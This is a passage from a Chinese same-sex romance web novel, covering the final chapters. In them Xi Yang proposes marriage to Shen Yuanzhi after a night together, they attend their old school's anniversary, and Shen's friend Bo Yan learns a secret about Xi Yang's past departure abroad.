被盖的严严实实的被子里,突然伸出一只白嫩的手,在月光下,像是受了很大欺负那样,突然受不住似的狠狠地抓住了被子,拽紧又松开,泛着汗光,衬得指节细窄又纤长。
不多时,就被拽了回去,被另一只被他大了一个尺码的手。
没过一会儿,安静的房间里听到了一道清脆的巴掌声。
一直埋在被子里不肯见人的沈垣之含着哭腔,口齿不清地骂道:“唔……滚你妈……我肚子要炸了。”
第59章 第 59 章 “想不想和我结婚呀。”……
浴室里的灯有些刺眼。
沈垣之用手背挡着眼由着温热的水落在他的身上, 刚结束完一场性//事,他全身都没力,只能任席殃折腾。
绵密的泡沫从胸前划至胯骨, 席殃那双不带什么力度的手很温热,腰侧时不时被轻轻揉着,在生理上很大程度上能缓解身体的疲劳, 不过在感受到两只手向下滑时,沈垣之很快睁开了眼。
“啧。”拍开作乱的手,沈垣之轻皱着眉抬了下眼皮,对上席殃含着笑意的眼眸时, 他心一动, 有些不自然地移开了视线,含糊道:“别乱摸。”
语气噙着蒸腾的水雾,听上去有些沙哑。
席殃垂着头看他,手很听话地滑了上来, 他追随着沈垣之的视线,将他搂在怀里轻轻洗着他身上的泡沫,轻声问:“弄出来了没有?我再看看。”
“弄出来了。”沈垣之烦他, 想到刚刚做的事耳根红的都快滴出血来, 他略微挣扎了一下, 略带不满道:“你都看了几次了……”
越想越生气, 他自顾自地站在了淋浴头下:“没那么深, 你还真以为你是豌豆射手啊。”
话刚落音,席殃就笑出了声。
走过去将他搂在怀里,不再说话,只是默默地拿着淋浴头这里冲冲,那里摸摸, 偶尔让沈垣之抬抬胳膊,替他用手洗洗脸,最后关上水,轻轻拍了下他的后腰:“好了。”
被洗得迷糊的沈垣之闻言立马就往外走,不管席殃交代要吹干头发再睡,他两三步就跨进了被窝里,困,实在太困,他一沾被子眼皮就粘上了。
刚呼出一口气,沈垣之心里惦记着不能将床弄湿,皱了下一眉,他很快将头垂在了床沿边,整个人打横着睡。
睡了不过两三分钟,浴室里的水声就停了,沈垣之迷迷糊糊听见了几道刻意放轻的脚步声,接着就以这个姿势,被弯着腰的席殃亲了一下。
“头不充血吗?”他轻笑道。
“嗯。”沈垣之这会儿困意上头也不再拿乔了,拿湿润的发梢顶席殃的掌心,声音有多软就有多软:“帮我擦干。”
席殃听着他说话的语气,眼眸很快就噙满了笑,他低低地应了声,随后蹲在床边,用干毛巾轻轻擦着他的头发。
沈垣之困急了,呼吸时嘴巴轻轻张了些,很快就露出红透的舌头,不久前席殃还用力地亲过,擦着头发的手一顿,席殃低下头,看他的眼眸里全是温柔,轻轻地亲了一下又一下的。
纤长的睫毛在白皙的皮肤上一扫,由着席殃捧着脸亲他,沈垣之皱眉轻声哼哼:“我想睡觉。”
他这两天真的累坏了。
心里本来就记挂着席殃生病的事,再又遇上消防检查,到处走都不算什么事,还得要求注意力集中,沈垣之这段时间很少锻炼,说实话,还真有些吃不消。
又或者是因为席殃来了,沈垣之有了放松的理由,也像是因为看到了席殃本人,那些让他揪心的事很自觉地让为他路,不急着解决问题,这会儿就想抱着席殃睡了一觉。
想到睡觉,沈垣之突然睁开了眼。
对上席□□线的那刻,他的困意很快消失了:“你昨天真没睡好?”
用手指梳散沈垣之被毛巾揉成一团的头发,思考片刻后,席殃“嗯”了声:“是真没睡好,”他语气一顿,亲了亲他,低声道:“你昨天说了那样的话,我怎么可能睡得着。”
两人之前干事的时候没开灯,这会儿也仅仅只开了壁灯,微弱的光线落在席殃脸上,他刚洗完澡,眼尾被热气熏得有些红,看上去有几分脆弱。
沈垣之移开视线,没说话了。
席殃见状轻轻捏了捏他的脸颊,将湿润的毛巾放在一旁,他很快钻进被子里,大手一捞就将沈垣之抱在了怀里。
这家酒店的沐浴露是柑橘味的,两人刚刚都洗了,现在都是一样的味道,很香带着柑橘的甜,窗外下着小雨,雨声很轻,沉默声中,和心脏跳动的声音慢慢地形成共鸣。
沈垣之被禁锢在席殃的怀里,嗅着他身上的味道,心很快归于平静,他们这样拥抱有很多次,沈垣之感觉不到腻。
显然席殃也是。
他将沈垣之抱的更紧了,呼吸带上了被填满的舒叹,谁都不想打破这样的氛围,一时之间两人都没有开口说话。
后来,不知道是谁先凑上去的。
贴着唇,用齿牙轻轻咬着,对方就默契地张开,迎面而来的是令人发颤的温度,先是一点点的亲吻,接着便伸出了舌尖。
像是久逢甘露,他们亲的很缠绵,也亲的很轻,比起只是一个吻,沈垣之觉得,更像是他们的灵魂互相交织,触碰,碰撞着。
一吻结束了,他们的灵魂也纠缠在了一起。
“我和你说的都是真的。”轻轻擦去他唇边的水痕,席殃眼眸里只有他:“一开始并不严重,我就没有引起重视,后来一想到论文我就呼吸不过来,再慢慢的有了明显的躯体反应才明白。”
“有多明显?”沈垣之问。
他眼眸明亮,十分认真。
“很生气,想发脾气,睡不着觉,偶尔心闷得慌,”席殃一一细数着:“就这些。”
沈垣之闻言片刻后伸手摸了摸他的手腕,又摸了摸他的脖子,接着又摸了摸他的胸肌,最后停在他的眼皮上。
“没有伤口吧。”席殃知道他在想什么,笑得很轻:“我真没有自残。”
沈垣之低低地嗯了声。
“好了。”席殃见不得他失落,将他抱得更紧了些,小声哄着:“只要你在身边我一定会好的。”
沈垣之闻言看他,声音有些闷:“骗人。”
“怎么骗你了?”席殃捏了捏他的脸颊。
“你在我身边睡不着觉,”沈垣之喉结一滚:“还说不让我心疼你,这是你自己的事。”
席殃叹了口气。
没等他把气叹完,沈垣之就打断道:“不能叹气。”
“好吧好吧。”席殃无奈地将气憋了回来,在沈垣之掩饰的视线下,对他提出的问题一一回答:“睡不着是因为太幸福了。”
“沈垣之,你现在是我的,可以让我亲,可以让我对你很过分的事,除此之外你还说喜欢我,”席殃顿了一下:“之前是我先离开你的,我做好了你会恨我的打算。”
“可你说喜欢我。”席殃低声强调道:“我很怕这是场梦,醒来你就不在了,所以刚开始是不想睡觉只想看着你,后来就慢慢地睡不着了。”
话刚落音,沈垣之呼吸顿了顿。
“至于不想让你心疼,觉得这是我自己的事,”沉默片刻,席殃开口说道:“是因为我觉得对不起你。”
沈垣之一愣。
“离开你后我过得不好这都是我自找的,”席殃简短道:“可我不想你因为‘我过得不好’,‘我有病’来迫使你忘记我离开你几年的事实。”
“我不想你抛下因为我而产生的那些痛苦,转头来心疼生病的我。”席殃语气平静:“沈垣之,你的情绪在我这永远排第一,所以我希望你也是——”
“你的情绪也要在你心里排第一。”
席殃从没一口气说过这么多话,他表达的方式依旧有些晦涩,但沈垣之莫名地听懂了。
感受到他的眼尾微微泛红,席殃很快低笑了声:“除了我生病之外,在其他事上我希望你心疼我,我需要被你爱着。”
沈垣之嘴轻轻一撇,眼前很快染上了雾气。
“那我一直都有情绪呢?”他声音带着颤:“要是我总是会想起你当年一声不吭离开我,如果你以后不喜欢我了,然后离开我呢?”
“那我就一直哄着你。”轻轻摩擦着他湿润的眼尾,席殃蹭了蹭他的鼻子,声音很亲昵:“你那么好该担心的人是我,而且我的钱都给你了,身份证也给我你,”
他语气一顿,故意逗他:“身体也给了你,谁还会要我……”
沈垣之用力地蹭了下他的鼻尖,不让他继续说了。双目对视,席殃笑了笑,随后又亲了亲他:“不久以后我们就会有一个家——”
他语气忽然一顿:“沈垣之,你想不想跟我结婚呀。”
沈垣之心猛地一震。
“以前我觉得结婚代表不了什么,”席殃喉结一滚,眼神里流露着坚定:“但是我想把你套牢在我身边,用一枚戒指,实质性的,把你留在我身边。”
眼眸颤了颤,沈垣之看向席殃。
察觉到他的情绪,席殃很快笑着搂了一下他:“那就再等等吧。”
等什么,没说清楚,沈垣之却明白。
后来两人又聊了很多,譬如那位心理医生,席殃说那是他的朋友,两人关系很好,以后带你去见他,又聊了请沈垣之晚上吃饭的那个男人,沈垣之解释,席殃不听,借着这个由头让沈垣之亲亲他。
“不是泄//欲,”席殃低声道:“我就是太喜欢你了,想要亲近你。”
沈垣之知道是自己口不择言,轻声哄他:“是我的错,我以后再也不说了。”
“也不能说分手。”席殃认真道。
沈垣之点点头:“不说。”
后来又聊了许多,聊家里的小猫,两人头碰着头看家里的监控,看小猫睡得打呼,又聊以后家里该装修成什么样,不管怎么样,一定要有一个大大露天阳台。
最后聊到窗外雨声停了,聊到席殃在他颈窝里放缓了呼吸,黑暗里,沈垣之盯着天花板,心里依旧震荡。
他从没想过结婚。
在经历过父母十多年来分崩离析的婚姻后,在排斥各种让人难以维系的亲密关系后,沈垣之盯着席殃那张睡得很熟的脸,脑海里只浮现出几个字。
如果是席殃,那么他是愿意的。
第60章 第 60 章 “不许欺负他。”……
转眼间就到了学校周年庆的日子。
沈垣之这天忙的很, 早上闹钟还没响就被小猫挠门的时候吵醒了,他在席殃怀里翻了个身,脑袋迷糊着, 声音含着浓浓的睡意:“什么时候了?”
两人昨天闹得有些厉害,直到后半夜了,有些失眠的席殃才埋进沈垣之颈窝里睡着, 他这几天睡眠质量改善了不少,不过这会儿也困,过了好久才出声:“六点。”
话刚落音,沈垣之叹了口气:“小咪很不礼貌, 这么早就闹腾。”
小咪是三花猫的名字, 沈垣之昨天回来见它的第一眼,这只小三花就朝他奶声奶气的咪了一声,沈垣之觉得它叫唤的很可爱,于是给它起了这样一个通俗易懂的名字。
“可能是昨晚看见我欺负你了。”沉默了一会儿, 席殃将他搂得紧紧的,低笑道:“你在床上哭,它在门外听到了。”
“你够了啊, 一大早就说这些。”沈垣之不好意思地打断道, 听着小猫的叫声有些于心不忍, 他挣扎了下:“松开, 我去看看它。”
席殃闻言松开了手, 看着他下床的背影,语气很是不情愿:“你昨天回来了就一直在看它,你发没发现你都忽视我了,沈垣之,难道它比我更可爱, 更有吸引力吗?”
显然是在无理取闹。
沈垣之当作没听见,头也不回地往门口走。
“穿拖鞋。”见他要光着脚出去,席殃又开口道:“别光着脚。”
沈垣之脚步一顿,他转过身走到床边穿上拖鞋,对上席殃的视线时,见他又要说话,敷衍地弯下腰亲了亲他的脸。
“好了没有?”
席殃嘴角浮着浅浅的笑:“嗯。”他指了指另一侧脸颊:“这儿也要。”
“席总你是真黏糊。”沈垣之凑过去亲了一口:“还有哪?我一次亲个够。”
“有是有,但你又不给亲。”席殃掀开了被子。
卧室里没开灯,光线从薄薄的落地窗照了进来,沈垣之看了一眼后二话不说,头也不回地往门口走了。
推开门的刹那小咪就不再叫了,沈垣之抱着它倚在门口,白皙的指节有一下没一下地替它顺着毛,在小咪发出“咕噜咕噜”的声音时,沈垣之用脸颊蹭了蹭它的脸,一猫一人相处的很是愉快。
视线瞟到床上依旧门户大开,撑着头看着他俩,目光温柔的席殃时,沈垣之终于是憋不住笑,垂头看它低声道:“你看你爹,不正经的很。”
——
早餐是煎蛋和豆浆。
鸡蛋是沈垣之煎的,豆浆是席殃下去买的。
“完美鸡蛋,”两人穿着整齐,迎着晨阳在大阳台上吃着煎鸡蛋的沈垣之很臭屁道:“虽然我从不轻易展示我高超的厨艺,但并不代表我没有,比如这个,是我最拿手的美食之一。”
“好吃好吃。”席殃边吃边点头,忍着笑意夸道:“色泽光滑,外表细腻,口味适中。”
“不愧是蛋中极品。”
沈垣之嫌他夸的不够走心,没好气地瞪他一眼,而后想到什么,开口问道:“今天你怎么安排?”
“我得早点过去。”没等席殃说话,沈垣之叹气道:“忙啊忙。”
“我和你一起。”吃完最后一口鸡蛋,席殃靠在了藤椅上,他大手一捞就将滚在花盆里的小咪抱在了怀里,忽视它的挣扎,席殃有一下没一下地给它顺着毛:“是去看新修的教学楼?”
“嗯,看看需要在哪加设备。”像是想到了什么,沈垣之语气一顿:“我先提前跟你说,到时候我会和冯沅一起。”
“知道了。”席殃抬起眼皮看了他一眼,声音拉得老长,看样子很懂事一般:“我不吃醋。”
沈垣之见他这样就想笑。
知道他故意的成分较多,但还是止不住吃他这套,叹了口气,沈垣之眼眸里浮着一层浅浅的笑意:“昨天也吃醋,今天也吃醋,你是该歇歇了。”
席殃没说话,也勾起了笑。
吃饱喝足,安静的阳台里两人躺着晒太阳,身旁绽出花蕊的花迎着风飘来淡淡的香气,两把藤椅靠在一起,被摸得已经没了脾气的小咪蜷缩着尾巴窝在席殃怀里,沈垣之揉揉它的头,和席殃有一搭没一搭的聊着天。
“今天天气真好呀。”沈垣之眯着眼感慨道。
“嗯。”身旁的席殃应了声,随后倾身俯了过来:“过来亲一个。”
说完就亲了沈垣之一下。
“我又哪里撩到你了,”沈垣之略显无语:“怎么又要亲我?”
“就要亲。”席殃亲他的嘴唇,又亲他的脸颊,毫不讲理。
说完又低头和他贴了贴,双目对视,席殃眼里的笑意太明显,沈垣之心一动也没底线地凑过去和他亲亲。
一方天地,满是爱意。
只是苦了被迫在两人中间被挤得喵喵叫的小咪。
——
上班就没那么清闲了。
沈垣之一进公司就像个陀螺一样到处打转,先是和总部确认好周年庆贺礼,又安排接下来为期一周的展会日程以及参展产品,将参展产品资料整理发给黎炫后,冯沅就过来找他了。
沈垣之低头一看时间,才发现快到中午了。
和冯沅打了声招呼,他让冯沅先过来坐:“等等,我手头还有些资料没整理完,你要喝点什么吗?”
“不用不用。”几天没见冯沅拘谨了许多,他坐得很挺直:“你忙你的。”
沈垣之没抬头“嗯”了声。
等到他整理完资料后两人便进了电梯,像是想到了什么,沈垣之掏出手机给席殃发了条微信。
【沈垣之】:你没在办公室?
席殃消息回的很快。
【席殃】:嗯,在外面。
沈垣之看了眼手表,轻皱了下眉。
【沈垣之】:今天不是要上台演讲吗?你不提前去彩排?
【席殃】:临时有点事。叹气.jpg
沈垣之笑了一下。
【沈垣之】:那你先忙,待会儿见。
【席殃】:待会儿见。
关上手机,沈垣之这才注意到冯沅的视线,双目对视,冯沅一愣,下意识移开了,随后又移了回来:“沈助,我们等会儿是要和负责人吃饭吗?”
沈垣之知道他有心转移话题,顺着点了点头:“嗯,想吃什么?”
像是想到了什么,冯沅笑了一下,嘟囔道:“反正不吃火锅。”
沈垣之一愣,正想着大中午吃什么火锅,和项目负责人吃火锅也不合适吧,灵光一闪,他想到了在H市席殃安排好的那顿火锅。
略带迟疑地,对上冯沅略带调侃的笑容时,沈垣之了然地笑了笑:“行,你来选。”
最后吃了顿粤菜。
这次接待他们的负责人年纪不大,估计是个刚毕业的大学生,很有朝气,一顿饭吃得很是愉快,吃完之后三人开着车往一中方向驶去。
工作日路上并不堵车,大概开了十几分钟就到了,一路上红色的横幅随处可见,隔老远就感受到欢天喜地的气氛,沈垣之的情绪也被带动了起来,除此之外,还有着说不出的感觉。
有些感慨。
不过没等他来得及消化这些情绪,停完车后,沈垣之就开始了新一轮忙得不可开交的工作,穿过人群,被负责人带着,沈垣之和冯沅去了新修的教学楼。
“这里之前是一教,学生们上课都在这。”负责人指了指头顶的结构:“之前贵司有工程师来过,可听范围一点不在我们预料之内。”
“我看看。”冯沅顺着望去,他拿出电脑安装程序后测试了一下:“估计是结构变化引起的。”
技术上的事沈垣之无能为力,看着负责人和冯沅认真探讨着,他安静地走到一旁俯瞰楼下。
这次周年庆来的人有很多,校道两旁都摆满了各式各样的小摊子,穿着蓝白色校服的学生远远看去像小小的蚂蚁,沈垣之看着看着,眼眸里不自觉地带上了几分笑意。
没等他看多久,手机突然震了一下。
【薄言】:好兄弟我到了,你在哪?在哪在哪在哪?
激动之前溢于言表。
【沈垣之】:在忙工作呢,老一教这边。
【薄言】:这都什么时候了?你还在忙工作?!能不能别这么卷啊?
【薄言】:我能来找你吗?
【薄言】:那谁在不在?
薄言一口气发了三条消息,沈垣之一一回复。
【沈垣之】:早就安排好了的工作我又不能推。
【沈垣之】:能来。
【沈垣之】:谁呀?我男朋友?他不在。
发完之后,沈垣之抿了下唇角。
【薄言】:啧。
【薄言】:那我来了,见面再说。
沈垣之收起手机没多久就听见楼梯间“蹬蹬蹬”传来脚步声,偏头一看就对上薄言探头探脑投来的视线,他一扬眉,薄言就咧开了嘴,笑着和他招了招手。
见走廊里有人,薄言没走过来。
沈垣之和负责人和冯沅解释了一下后便走了过去,许久没见,薄言见他一过来就搂了一下他的肩:“好兄弟,我可想死你了。”
说完他像是想到了什么,自觉地拉开一段距离:“忘记你现在是gay了,不好意思,不好意思。”
沈垣之无语:“那你离我再远点。”
“不嘛。”薄言嘿嘿一笑:“我就是感慨一下,你别介意。”
说完又笑着打量他全身。
“这有了对象的人就是不一样。”他煞有其事道:“感觉你像是变了一个人似的。”
沈垣之抬了下眼皮:“哪里不一样了?”
“说不上来,这是一种感觉,”薄言摸了摸下巴,眼眸突然一亮:“比如着这领带吧,一看就不是你打的。”
沈垣之闻声低头看了眼,想到早上席殃帮他打领带时念叨的样子,他低眉笑了笑,没否认。
见他这样,薄言“啧”了一声:“很不值钱的笑。”
沈垣之没理他。
“他真没来?”薄言看向他身后。
“真没。”沈垣之有点无奈:“你找他干嘛?他有事得晚点来。”
“大忙人啊。”薄言语气酸酸的:“找他有事呗,我今天倒是要看看他到底是哪里好,让你说弯就弯,我可告诉你了,我这几天一直狂喝酒练酒量,就是等着今天要给他一个下马威,你看我今天不……”
“不许欺负他。”在薄言喋喋不休的宣战喊话中,沈垣之语气淡淡地:“我就这么一个男朋友,不许你欺负他。”【你现在阅读的是魔蝎小说 moxiexs】
【全文完结】
第61章 完 结 章 “谢谢你也爱我。……
“啧。”
薄言不说话只是在沈垣之身旁啧啧个不停, 从冯沅开始测验一直到结束,几人在老一教楼下分开后,薄言还没停。
几乎是想起沈垣之说的那句话就啧一声, 看沈垣之的眼神更不用说了,处处透露着“这么多年了,我真是看错你了”的意思。
沈垣之嫌他烦, 去会场的路上时走得很快。
薄言在他身后追着,没一会儿就滑跪认错:“好了好了,知道你腿长你走慢点,我不啧了行吗?”
沈垣之脚步一顿, 回头斜着眼看他。
“真不说了。”薄言两三步追了过来, 两人并排走着,他恨铁不成钢道:“在我面前就耍狠,对那谁就‘不许你欺负他~’”
薄言故意夹着声音说话,把沈垣之恶心的够呛:“我哪有你这样说话?”
“你就是这样的。”薄言义正严辞地指责道:“你见色忘友, 沈垣之,今天我真是看透你了。”
沈垣之闻言嗯了声,不走心地敷衍:“我就是见色忘友。”
没想到他还敢承认, 薄言一时哑语, 边走着边不可置信地盯着他看了老半天。
沈垣之被他逗笑了, 语气一顿:“好了, 今晚你攒局了?我看你在微信群里发了地址。”
“那可不。”薄言勾了一下唇:“恰好同学们今天都能聚一起, 可不好好玩一玩。”像是想到了什么,他故作漫不经心地提道:“晚上有惊喜给你。”
沈垣之看他:“什么?”
“就是惊喜啊。”薄言故弄玄虚:“到时候你就知道了。”
“给惊喜总得有个理由吧。”
话刚落音,薄言看了他一眼,沈垣之也不明所以地看他,两人站在人来人往的校道旁对视许久后, 薄言缓缓睁大了双眼:“你真不知道今天是什么日子?”
“知道啊。”沈垣之点点头,指了指随处可见的横幅:“校庆不是吗。”
薄言:“……”
意识到沈垣之真不知道今天是什么日子,薄言脚步一顿,皱了皱眉:“今天是你生日,怎么这都能忘?”
——
自从工作之后,沈垣之就很少过生日,但他也并不排斥,想起来就过,没想起来就算了,没特意把过生日这件事当成特别正经的事。
也是在沈垣之和他爸没联系后薄言这些年问得勤了些,可能是觉得他身边没个人陪着,一向不靠谱的人近几年竟没一次忘记他的生日。
去年给他送了个游戏机,前年给他送了领带夹,都是些实用的礼物,沈垣之挺喜欢的,一直都用着。
至于忘了生日,完全是因为沈垣之这段时间太忙了,一方面展会和项目撞在一起,工作上有很多零碎的事等着他去处理,另一方面是和席殃谈了恋爱,沈垣之脑容量就那么大,能记的事有限,忘记两三件也很正常。
但薄言显然没这么觉得。
他盯着沈垣之看了几眼,唇边的笑顿了下,像是接受不了沈垣之忘记生日这件事,沈垣之见状想说什么,还没张口薄言就皱眉道:“你忘记就算了,但看你这反应,难道席殃也不记得?”
沈垣之愣了一下。
薄言见他不说话也沉默了,两人一声不吭地走了一会儿,气氛突然开始变得低沉。
沈垣之觉得有必要向薄言解释一下,他和席殃一起过生日还是读高中时,距离他们分开已经很久了,连沈垣之自己都会忘记生日,席殃不记得其实是很正常。
但一瞅到薄言紧皱的眉头时,沈垣之选择保持沉默,薄言不开心是因为在乎他,他都懂。
之后去会场的路上沈垣之罕见地费尽心思地找话题聊,薄言显得兴致缺缺,一副不愿意搭理他的样子,最后实在没办法,沈垣之只好故意叹了口气:“今天我生日,薄言你还要给我脸色啊,我好命苦。”
话刚落音,薄言就怒了:“我哪给你脸色了,你不要胡说。”
“那你怎么不跟我说话?”沈垣之笑着给他递了根烟:“消消气。”
“我哪里没跟你说话,”薄言看着他脸上的笑容接了烟:“我就是,”他语气一顿,像是斟酌着怎么说:“反正就是有点不爽。”
沈垣之也掏出了一根烟来,点燃之后将打火机递给了薄言:“我知道的。”
薄言接过:“你知道什么知道。”他不爽道:“他最好对你上点心。”
见他依旧黑着脸,沈垣之笑着点点头:“让他等会儿给你敬酒行不行,别气了。”
“行吧。”薄言很快顺着台阶走了下来,他语气一顿,犹豫道:“那你打算告诉他吗?”
“告诉,怎么不告诉。”沈垣之挑了一下眉,略有略无的烟雾显得他格外好看:“我等会儿就要大发雷霆。”
薄言很快被他逗笑了,片刻后他语气一顿,用有些犹豫地眼神看向沈垣之:“我问个很俗的问题,你得回答我。”
沈垣之含着烟点点头。
“那什么,”薄言像是很嫌弃,说话的声音很含糊,飞速地一笔带过:“你和他在一起,幸……吗?”
“什么?”
一看到沈垣之眼眸里涌动着笑意,知道他在装的薄言大叫一声:“问你幸不幸福!”
彼时沈垣之垂眸咬了下爆珠,浓郁的香橙味瞬间在嘴里爆了出来,片刻后,他笑着点点头:“还成。”
“挺幸福的。”
想了一会儿,他又说。
——
虽是这样说,薄言还是不开心。
并且终于给本就不打算给席殃一个好脸色找到了合适且合理的理由,他边念叨着边皱眉,一会儿说当男朋友的竟然连对象的生日都能忘记,一会儿又担心沈垣之第一次谈恋爱容易吃亏。
沈垣之闻言打断道:“第二次了。”
薄言:?
憋着笑,沈垣之语气很平静:“第一次也跟他。”
薄言:!
于是接下来的时间,沈垣之在薄言的逼问下说出了他和席殃的事,过程说得很粗略,只是大概将转折点都说了一遍。
当沈垣之说到席殃当年出国时,像是想到了什么,薄言有些欲言又止。
沈垣之注意到他的异常,问了句怎么了。
看了他一眼,薄言问道:“是高三暑假后吗?他出国。”
沈垣之算了下日子,点点头:“应该是,我记得第二天他约好和我去东街那家咖啡店吃冰激凌。”语气一顿,沈垣之问道:“怎么了?”
犹豫过后,薄言摇摇头:“没。”
沈垣之以为他是因为自己被甩不开心,就没有继续追问下去,薄言也很快转移了话题,问东问西,一副要打破砂锅问到底的模样。
除了不方便说的,沈垣之都好脾气地一一解答。
问到最后薄言叹了口气:“破镜重圆竟在我身边,”他语气一顿:“我和我前女友闹掰之后同住一个小区都没遇见过一次,该说不说,你俩还是很有缘份的。”
这话沈垣之爱听,因此很轻地勾了下唇角。
眼尖的薄言很快捕捉到了,他这次没再说什么,也跟着笑了笑,在沈垣之看过来时,很快转移了话题。
老一教离会场有些远,两人又走了一会儿。
学校变化很大,沈垣之这些年每每经过都没来过一次,这会儿看着有些感慨,身旁的薄言恢复了正常,喋喋不休和他商讨着今晚要喝什么,准备要撮合谁和谁。
环顾四周的建筑、树木,沈垣之有些不地道地想,要是此刻身边的人是席殃就好了,当然他不可能在薄言面前说,除非想和他打一架,于是很配合地和他一问一答。
又穿过一条校道,两人终于到达了会场。
说是会场也就是学校组织开会的大礼堂,门口此刻汇集了很多人,沈垣之扫过一眼,没看见相识的人,倒是薄言遇到了几个朋友,沈垣之陪在他身旁听他聊了一会儿。
有些心不在焉,心里挂着席殃。
这会儿都依次进场了,还没看见他人,按照名字落座之后,趁着薄言低头没注意,沈垣之作贼般给席殃发了消息。
【沈垣之】:还没忙完吗?
消息刚发出去,会场的灯就打了下来,伴随着一阵熟悉的音乐声,穿着礼服的主持人们很快走向舞台,喜气洋洋地说了几句开场白。
所以学校校庆的流程都是一样的,致辞,致辞,再致辞,或许是自己母校的原因,一向不太喜欢这种场合的沈垣之这次却能安静的听下来,只是他心里挂着事,时不时探头到处看看,偶尔还看看手机。
薄言注意他的动作,压低声音问他怎么了。
没等沈垣之说话,手机就震了一下。
【席殃】:忙完了,宝宝,我看到你了。
沈垣之眼眸一亮,环顾一圈没看见人。
【沈垣之】:你在哪呢?
【席殃】:舞台右边。
沈垣之立刻抬头去看。
隔着人群,他仔细搜寻了一番,最后落进一双噙着笑意的眼眸里,双目对视,站得笔直的席殃朝他轻轻抬了下下巴,沈垣之看到了,他很轻地抿了下唇,垂眸打字。
【沈垣之】:我也看到你了。
“你笑什么啊……”不明所以地薄言凑了过来,看到屏幕后他啧了声,到处张望道:“在哪在哪,你帮我指指。”
没等沈垣之回应,在主持人念到席殃的名字后,他很快走上了台前。
席殃今天穿了身很考究的西装,恰到好处的裁剪衬得他体态很端正,额前的头发向上抓着,露出略显冷峻的五官,在主持人离场后,从容不迫地开始了致辞。
他的声音很平静,明明不是适合演讲的嗓子,但是莫名地让人觉得安心,沈垣之放松地靠在了椅背上,眼里只有他一个。
沉默之际,身旁的薄言幽幽道:“只能说这哥们勉强配得上你。”
沈垣之盯着台上的席殃,闻言朝薄言笑了一下,很快地又将注意力放在了席殃身上,平时见惯了席殃耍无赖,假装吃醋,这样正经的他很稀奇。
在台上的席殃目光似有若无地落在沈垣之身上,撞上视线时,两人默契地勾一勾唇角,莫名地,让沈垣之想起了以前读书时,他在讲台上说话席殃在台下看他。
隐秘的爱意隔着人潮里汹涌,时过境迁,还好他们没变过。
——
致辞结束后,太阳已下山。
薄言接了通电话后火急火燎地说要去定座,留在会场的沈垣之遇到了几位老同学,几人聊了一会儿天,说到晚上要怎么安排,席殃就走了过来。
席殃以前在学校完全就是透明人,这些年又在国外,几个老同学都不太认识他,都盯着他看,他倒是毫不见外,大方介绍自己后就跟在沈垣之身旁听他们说话。
肩并肩隐秘地靠了一会儿,几个老同学挥手和他告别。目视几人离开的背影,沈垣之偏头看了席殃一眼:“黏人。”
话刚落音席殃眼眸立马噙上了笑意,他笑得很好看,唇边弧度很小,但眼眸里全是沈垣之。
沈垣之看了他几眼,很快也勾了下唇,边走出去边说:“烦人精。”
席殃挑挑眉没说话,噙着笑亦步亦趋地走在了他身后。
一出门迎面就闻到了新鲜的空气,不远处的太阳正在落山,橘红色的夕阳映着整个校园,校道两侧的绿化树被风的摇晃着,篮球场上偶尔传来几道喝彩声,一切显得那么生机盎然而又恬静。
沈垣之眯了眯眼,任由额前的头发被风吹起,席殃有样学样,趁人没注意,轻轻勾了勾沈垣之的手指。
沈垣之似笑非笑地偏头看他。
席殃见状眼眸沉了沉,直勾勾盯着他,低声道:“想亲亲。”
大庭广众之下,沈垣之可不会和他胡来,收回被勾着的手指,沈垣之摇摇头,说起了正事:“下午你干嘛去了?”
席殃看了他一眼:“忙。”
没等沈垣之说话,他转移话题道:“晚上有什么安排吗?”
沈垣之狐疑地看了他一眼:“有,薄言组了局。”他语气一顿:“你想不想去?”
“我可把话说在前头了,”沈垣之挑眉:“薄言刚刚发话说要灌醉你。”
“我不怕。”席殃低笑道:“他最好灌醉我,我醉了你就会心疼我,会帮我洗澡,我何乐不为。”
“你想得倒挺美。”沈垣之笑道,像是想到了什么,他声音放轻了些,眼眸划过一丝淡淡的笑意:“你吃了药能喝酒吗,实在不行我替你找薄言求求情。”
“哼。”席殃轻哼了声:“不用,你老公我可行了。”
——
事实证明,席殃他还真能喝。
诺大的包间里欢天喜地,两三好友分别占据着包间里的各个角落,沈垣之和席殃一进门就被眼尖的薄言看到了,二话不说将他们拽到了一个角落里。
对上眼的刹那,两人就开始友好问候。
一杯接一杯,一个祝对方事业有成一个祝对方生意兴隆,夹枪带棒,推杯换盏,夹在两人中间的沈垣之听的想笑,从一开始的“多少劝着点”到后来“随他们去吧”,到最后干脆不坐在两人中间了,和前来找他叙旧的老同学聊天去了。
目视沈垣之离开的背影,薄言喝酒的动作顿了一下,今天下午和沈垣之没说的话在对上席殃平静的视线里说了出来:“高三放暑假的前一天,我在学校看到你了。”
“准确来说,是看到你和他爸了。”
话刚落音,席殃顿了一下。
“当时我还奇怪了一下,但是没往心里去,”薄言观察着他的脸色,试探道:“你们聊了什么?”
席殃低头抿了一口酒。
“你也别觉得我管太多,”薄言见他的反应解释道:“小圆一直和他爸不对付,”他语气一顿:“他知道你和他爸私下见过面吗?”
席殃闻言摇了摇头。
薄言沉默了片刻,像是想到了什么,他顿了顿:“那你当时出国和他爸有关系吗?”
席殃看了眼正和别人聊得开心的沈垣之,沉默片刻后他点了下头:“有一部分原因。”
薄言闻言皱了下眉。
两人安静了一会儿,薄言又问:“小圆他知道吗,”他语气一顿,有些艰难地开口:“他有段时间挺恨你的,如果他知道当年的实情,可能会对你……”
“他不会知道的。”席殃笑着打断,对上薄言的视线,他语气平静:“我没打算告诉他。”
薄言一愣。
“我不想让他因为这件事和早就断了联系的人再产生情绪,”席殃盯着不远处的沈垣之,他沉默片刻后,对薄言笑了笑:“是好是坏,都不需要了。”
薄言闻言松了口气。
他追着席殃的视线看向沈垣之,随后又看了眼席殃,妥协地拿出手机,不情愿道:“那什么,咱俩加个微信吧,我觉得你人还可以。”
席殃勾了一下唇。
两人互加好友后,时刻注意着这边动静的沈垣之闻着味就过来了,没等他出声调侃,刚刚还处变不惊的席殃眼一闭就倒在了他怀里,轻轻蹭了蹭他的肚子,他低声道:“小圆,我头疼。”
目睹全程的薄言:“……”
也顾不上身旁还有个大活人,沈垣之勾着唇伸手摸了摸他发烫的脸颊,看了薄言一眼,见色忘友道:“让你别欺负他了。”
沉默片刻,气急败坏的薄言乐了一下:“哎我操。”
“那我先送他回去了。”看他一眼,沈垣之忍着笑扶起了席殃:“替我跟他们说一声。”
话刚落音,席殃就忍着笑自觉地站直了些,没让沈垣之承受太大的压力。
眼看着他俩归心似箭,被污蔑欺负人的薄言还能说什么,他不耐烦地摆了下手:“滚,都滚。”
